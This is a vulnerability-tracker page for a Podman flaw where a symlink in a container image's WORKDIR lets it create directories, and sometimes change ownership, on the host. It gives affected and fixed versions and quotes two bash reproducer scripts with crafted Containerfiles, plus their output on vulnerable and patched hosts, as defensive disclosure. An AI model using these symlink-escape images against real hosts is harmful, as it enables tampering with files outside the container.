Live › vulnerability › CVE-2026-55686
A malicious container image can use a symlink in its WORKDIR path to make Podman create a directory on the host filesystem outside the container. A race with a process that changes the host tree can also modify ownership of host paths.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-11-03 19:55 UTC, 1h before NVD. All times on this page are UTC.
Hosts that run Podman 5.7.0 or earlier and build or run container images from sources they do not fully trust. The advisory's reproducer needs a crafted image whose WORKDIR path goes through a symlink, so teams that only run images they build themselves from trusted sources are less exposed. Podman 4 and 3 are listed as affected by range but the sources give no fixed version for them.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| github.com/containers/podman/v5 | go | <= 5.7.0 | 5.7.1 |
| github.com/containers/podman/v4 | go | <= 4.9.5 | – |
| github.com/containers/podman/v3 | go | <= 3.4.7 | – |
| podman project podman | vendor | >= 3.0.0, < 5.7.1 | 5.7.1 |
podman --version; versions up to 5.7.0 are affected in the 5.x line.go list -m github.com/containers/podman/v5 if you embed it./var/BREAKOUT-style directories created by container runs if you pull untrusted images (reproducer in the advisory).5.7.1Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition.
https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0
This issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858)
The reproducer script test1.bash demonstrates the vulnerability.
The directory /var/BREAKOUT is created on the host.
The container process uses the container directory /var/BREAKOUT as current working directory.
The reproducer script test2.bash demonstrates the same vulnerability.
The directory /var/BREAKOUT is created on the host.
The container process uses the container directory /usr/local as current working directory.
The reproducer script test2.bash shows that the working directory can be different from the breakout directory.
Reproducer test1.bash
#!/bin/bash
set -o errexit
set -o nounset
if [ -e /var/BREAKOUT ]; then
echo error: path /var/BREAKOUT should not exist beforehand
exit 1
fi
dir=$(mktemp -d)
cat > $dir/Containerfile << 'EOF'
FROM docker.io/library/alpine
RUN cd / && ln -s ../../../../../../../var symlink
USER 1234:1234
WORKDIR /symlink/BREAKOUT
CMD ["/bin/sh","-c","echo current working directory: $(pwd)"]
EOF
podman build -q --no-cache -t img $dir
podman run --rm localhost/img
ls -ld /var/BREAKOUT
Reproducer test2.bash
#!/bin/bash
set -o errexit
set -o nounset
if [ -e /var/BREAKOUT ]; then
echo error: path /var/BREAKOUT should not exist beforehand
exit 1
fi
dir=$(mktemp -d)
cat > $dir/Containerfile << 'EOF'
FROM docker.io/library/alpine
ARG breakout_dirname=/var
ARG breakout_basename=BREAKOUT
ARG produce_pwd=/usr/local
RUN mkdir -p /0/1/2/3 && \
cd /0 && \
ln -s 1/2/3 symlink1 && \
mkdir -p /0/1/symlink2/${breakout_dirname} && \
cd /0/1/symlink2/${breakout_dirname} && \
ln -s ${produce_pwd} ${breakout_basename}
RUN cd / && ln -s ../../../../../../.. symlink2
USER 1234:1234
WORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename}
CMD ["/bin/sh","-c","echo current working directory: $(pwd)"]
EOF
podman build -q --no-cache -t img $dir
podman run --rm localhost/img
ls -ld /var/BREAKOUT
Vulnerable:
podman 5.7.0 using Fedora CoreOS 43.20251120.3.0
root@localhost:~# bash test1.bash
38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80
current working directory: /var/BREAKOUT
drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT
root@localhost:~# rmdir /var/BREAKOUT/
root@localhost:~# bash test2.bash
c3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9
current working directory: /usr/local
drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT
Not vulnerable:
podman 5.7.1 using Fedora CoreOS 43.20260119.1.1
root@localhost:~# bash test1.bash
0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788
current working directory: /var/BREAKOUT
ls: cannot access '/var/BREAKOUT': No such file or directory
root@localhost:~# bash test2.bash
568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60
current working directory: /usr/local
ls: cannot access '/var/BREAKOUT': No such file or directory
We like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us.
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